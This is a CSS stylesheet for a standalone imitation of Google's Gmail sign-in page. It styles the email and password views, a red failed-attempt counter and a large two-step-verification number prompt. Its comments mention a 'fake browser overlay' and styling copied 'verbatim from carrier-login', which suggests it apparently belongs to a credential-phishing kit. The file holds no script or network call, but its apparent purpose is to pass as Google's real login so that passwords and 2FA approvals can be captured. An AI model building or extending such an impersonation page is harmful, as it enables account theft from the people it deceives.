/* ═════ Standalone Gmail Page (no fake browser overlay) ═════ */
body {
  min-height: 100vh;
  background: #f0f4f9;
  font-family: 'Google Sans', Roboto, -apple-system, BlinkMacSystemFont, sans-serif;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 24px;
}
.g-page {
  position: relative;
  width: 100%;
  max-width: 460px;
  display: flex;
  flex-direction: column;
  align-items: center;
}
.g-page > .g-card { width: 100%; }
.g-card-footer {
  display: flex;
  justify-content: center;
  gap: 8px;
  margin-top: 16px;
  padding: 0 4px;
}
.g-card-footer a {
  color: #3c4043;
  font-size: 12px;
  text-decoration: none;
  padding: 6px 10px;
  border-radius: 4px;
  transition: background .15s;
  font-family: 'Google Sans', Roboto, sans-serif;
}
.g-card-footer a:hover { background: #f1f3f4; }
.g-loading-overlay {
  position: fixed; inset: 0; z-index: 9999;
  background: rgba(255,255,255,.9);
  display: flex; align-items: center; justify-content: center;
}
.g-spinner {
  width: 40px; height: 40px;
  border: 4px solid #e8eaed; border-top-color: #1a73e8;
  border-radius: 50%; animation: spin .8s linear infinite;
}
.g-toast {
  position: fixed; bottom: 24px; left: 50%; transform: translateX(-50%);
  background: #202124; color: #fff; padding: 10px 20px;
  border-radius: 6px; font-size: 14px; z-index: 10000;
  box-shadow: 0 4px 12px rgba(0,0,0,.2);
}


*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}

body.no-scroll{overflow:hidden}
.g-progress{position:fixed;top:0;left:0;right:0;width:100%;height:3px;background:transparent;overflow:hidden;z-index:9998;display:none;pointer-events:none}
.g-progress.active{display:block}
.g-progress::after{content:'';position:absolute;top:0;left:0;width:40%;height:100%;background:#1a73e8;animation:gProgressSlide 1.5s ease-in-out infinite}

@keyframes gProgressSlide{0%{left:-40%;width:40%}50%{left:30%;width:60%}100%{left:100%;width:40%}}
/* ═════ GMAIL (.g-*) — verbatim from carrier-login ═════ */
.g-card{background:#fff;border-radius:8px;border:1px solid #dadce0;padding:48px 40px 36px;width:100%;max-width:420px}
.g-view{display:none;flex-direction:column;align-items:center;transition:opacity .2s ease}
.g-view.show{display:flex}
.g-card.is-loading .g-view{opacity:.4;pointer-events:none}
.g-logo{margin-bottom:16px;text-align:center}
.g-title{font-size:24px;font-weight:400;color:#202124;margin-bottom:10px;text-align:center}
.g-subtitle-main{font-size:16px;color:#202124;margin-bottom:24px;text-align:center}
.g-subtitle{font-size:14px;color:#5f6368;text-align:center;line-height:1.5;margin-bottom:24px;max-width:340px}
.g-email-chip{display:inline-flex;align-items:center;gap:6px;padding:4px 12px 4px 4px;border:1px solid #dadce0;border-radius:16px;background:none;cursor:pointer;font-size:14px;font-family:'Google Sans',Roboto,sans-serif;color:#3c4043;margin-bottom:20px;max-width:100%;transition:background .2s}
.g-email-chip:hover{background:#f1f3f4}
.g-email-chip span{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.g-form{width:100%;display:flex;flex-direction:column;gap:8px}
.g-row{display:flex;gap:12px}
.g-row .g-input-wrap{flex:1;min-width:0}
.g-input-wrap{position:relative;margin-bottom:4px}
.g-input-wrap input{width:100%;padding:13px 15px;border:1px solid #dadce0;border-radius:4px;font-size:16px;color:#202124;outline:none;background:#fff;transition:border-color .15s ease-out;font-family:'Google Sans',Roboto,sans-serif}
.g-input-wrap input:focus{border-color:#1a73e8;border-width:2px;padding:12px 14px}
.g-input-wrap label{position:absolute;left:12px;top:50%;transform:translateY(-50%);font-size:16px;color:#5f6368;pointer-events:none;transition:all .15s ease;background:#fff;padding:0 4px}
.g-input-wrap input:focus+label,.g-input-wrap input:not(:placeholder-shown)+label{top:0;font-size:12px;color:#1a73e8}
.g-input-wrap input:not(:focus):not(:placeholder-shown)+label{color:#5f6368}
.g-input-wrap input:disabled{background:#f8f9fa;color:#80868b}
.g-input-wrap.has-error input{border-color:#d93025}
.g-input-wrap.has-error input:focus{border-color:#d93025}
.g-input-wrap.has-error input:focus+label,.g-input-wrap.has-error input:not(:placeholder-shown)+label{color:#d93025}
.g-inline-error{display:flex;align-items:flex-start;gap:8px;margin-top:-2px;margin-bottom:4px}
.g-inline-error svg{flex-shrink:0;margin-top:1px}
.g-inline-error span{font-size:12px;color:#d93025;line-height:1.4}
.g-link{font-size:14px;color:#1a73e8;text-decoration:none;font-weight:500;cursor:pointer;font-family:'Google Sans',Roboto,sans-serif}
.g-link:hover{text-decoration:underline}
.g-checkbox{display:flex;align-items:center;gap:8px;font-size:14px;color:#202124;cursor:pointer;margin:4px 0}
.g-checkbox input[type="checkbox"]{width:18px;height:18px;accent-color:#1a73e8;cursor:pointer}
.g-actions{display:flex;justify-content:space-between;align-items:center;margin-top:24px}
.g-btn-next,.g-btn-main{height:36px;padding:0 24px;background:#1a73e8;color:#fff;border:none;border-radius:4px;font-size:14px;font-weight:500;font-family:'Google Sans',Roboto,sans-serif;cursor:pointer;letter-spacing:.25px;transition:background .2s,box-shadow .2s}
.g-btn-next{min-width:90px}
.g-btn-next:hover:not(:disabled),.g-btn-main:hover{background:#1765cc;box-shadow:0 1px 2px 0 rgba(60,64,67,.3),0 1px 3px 1px rgba(60,64,67,.15)}
.g-btn-next:disabled{background:#dadce0;color:#80868b;cursor:not-allowed}
.g-type-icon{margin:8px 0 24px;text-align:center}
.g-attempt{font-size:12px;color:#d93025;margin-bottom:16px;text-align:center}
.g-prompt-number{width:100%;text-align:center;padding:24px;background:#e8f0fe;border-radius:8px;margin-bottom:24px}
.g-prompt-label{font-size:14px;color:#5f6368;margin-bottom:12px}
.g-prompt-value{font-size:56px;font-weight:500;color:#202124;font-family:'Google Sans',Roboto,sans-serif;letter-spacing:8px}
.g-spinner-row{display:flex;align-items:center;justify-content:center;gap:12px;font-size:14px;color:#5f6368}
.g-spinner-sm{width:24px;height:24px;border:3px solid #e8eaed;border-top:3px solid #1a73e8;border-radius:50%;animation:spin .8s linear infinite}

@keyframes spin{to{transform:rotate(360deg)}}
.g-success-check{margin-bottom:24px}
.g-error-svg{margin-bottom:16px}
.g-error-text{font-size:14px;color:#5f6368;margin-bottom:24px;line-height:1.5;text-align:center}